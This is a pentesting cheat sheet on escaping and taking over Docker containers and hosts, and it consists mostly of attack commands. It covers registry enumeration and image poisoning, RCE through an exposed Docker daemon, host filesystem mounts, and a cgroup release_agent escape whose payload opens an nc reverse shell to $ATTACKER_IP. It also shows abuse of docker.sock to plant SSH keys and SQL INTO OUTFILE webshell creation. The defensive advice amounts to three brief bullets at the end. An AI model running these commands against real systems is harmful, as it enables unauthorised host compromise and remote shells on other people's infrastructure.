# Docker Vulnerabilities ## Check if you are inside a container * Low process count ```sh ps aux ``` * `.dockerenv` in `/` ```sh cd / && ls -lah ``` * cgroups contain docker names ```sh pwd /proc/1 cat cgroups ``` * [Container enumeration](https://github.com/stealthcopter/deepce) ## Abusing Registry * [Registry Doc](https://docs.docker.com/registry/spec/api/) * Registry is a json API endpoint * Private registry added in `/etc/docker/daemon.json` * Can be found by nmap as a service Enumerate the Registry through [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber.git). ### Enumeration * General query ```sh curl http://test.com:5000/v2/_catalog` ``` * List tags ```sh curl http://example.com:5000/v2///tags/list curl http://example.com:5000/v2//tags/list ``` `history` section of the json object contains commands executed at build phase. May contain sensitive data like passwords. ```sh curl http://test.com:5000/v2///manifest/ ``` ## Reversing Docker Images * [Dive](https://github.com/wagoodman/dive) ```sh dive ``` ## Uploading Images to Registry * Ever image has a `latest` tag * Upload modified docker image as `latest` * [Article](https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/malicious-docker-hub-container-images-cryptocurrency-mining) ## RCE via Exposed Docker Daemon * Users inside the `docker` group may open tcp socket through docker * `nmap -sV -p- -vv` to find exposed tcp sockets via docker * Confirming via `curl http://test.com:2375/version` on open docker port * Execute commands on socket ```sh docker -H tcp://test.com:2375 ps docker -H tcp://test.com:2375 exec docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh ``` * [root please](https://registry.hub.docker.com/r/chrisfosterelli/rootplease) ## Escape Container via Exposed Docker Daemon * Looking for exposed docker sockets ```sh find / -name "*sock" 2>/dev/null groups ``` * Mount the host volume and chroot to it, need alpine image. ```sh docker images docker run -v /:/mnt --rm -it alpine chroot /mnt sh ``` or ```sh docker run -v /:/host --rm -it chroot /host/ bash ``` ## Shared Namespaces * Namespaces * Cgroups * OverlayFS * Requires root inside the container * Execute command ```sh nsenter --target 1 --mount sh ``` ## Misconfiguration ### capabilities * Privileged container connect to the host directly, not through the docker engine * Execution of bins on the host from libs inside the container is possible ```sh capsh --print ``` * `man capabilities` * [PoC](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/#:~:text=The%20SYS_ADMIN%20capability%20allows%20a,security%20risks%20of%20doing%20so.) * Exploit and get a reverse shell to the host via ```sh mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/exploit" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /exploit echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/tmp/f" >> /exploit chmod a+x /exploit sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` * The file may appear outside the container on the host system ### cap_admin `cap_sys_admin` provides the ability to spawn a root shell inside the container ```sh capsh --gid=0 --uid=0 -- ``` Further, if there is access to the host this capability can be used to set `chmod u+s /bin/bash` and list the available mounts. The mounts can be listed `findmnt`. Resulting in a useable root bash on the host via executing it on the path of the docker volume, e.g. ```sh /var/lib/docker/overlay2/l/randomhash/bin/bash -p ``` ## Check fdisk * `fdisk -l` and `lsblk`, host bulk device may be exposed * Mount the device ```sh mkdir /mnt/hostdev mount /dev/ /mnt/hostdev ``` * Check `/dev` as well !!! and mount device ## Creating a Container from inside another container * Needs root inside a container * Upload [static curl](https://github.com/moparisthebest/static-curl) * Check available images and containers ```sh curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json ``` * Inside the container as root ```sh curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":":latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo >> /var/tmp/root/.ssh/authorized_keys"]}' ``` * Return value is the ID * Start a container ```sh curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers//start ``` * Login in to the host via ssh remotely or socat locally ```sh socat - UNIX-CONNECT:/var/run/docker.sock POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 Host: Connection: Upgrade Upgrade: tcp HTTP/1.1 101 UPGRADED Content-Type: application/vnd.docker.raw-stream Connection: Upgrade Upgrade: tcp ``` ## Escape through DB * Login into DB * Create table * Inject PHP code * Select table content into a file the user can read * Execute the file ```sql create table h4x0r (pwn varchar(1024)); insert into h4x0r (pwn) values (''); select '' from h4x0r INTO OUTFILE '/var/www/html/shell.php'; copy (select '' from h4x0r) to '/var/www/html/shell.php'; # In case of PostreSQL ``` * curl the webshell hon the exploited host ```sh curl /shell.php?cmd=id ``` ## Dirty c0w [DirtyC0w](https://github.com/dirtycow/dirtycow.github.io) ## runC [CVE-2019-5736](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/) ## Securing a Container * Least Privileges * Seccomp * Securing Registry via TLS ## References * [Docker Registry Grabber](https://github.com/Syzik/DockerRegistryGrabber.git)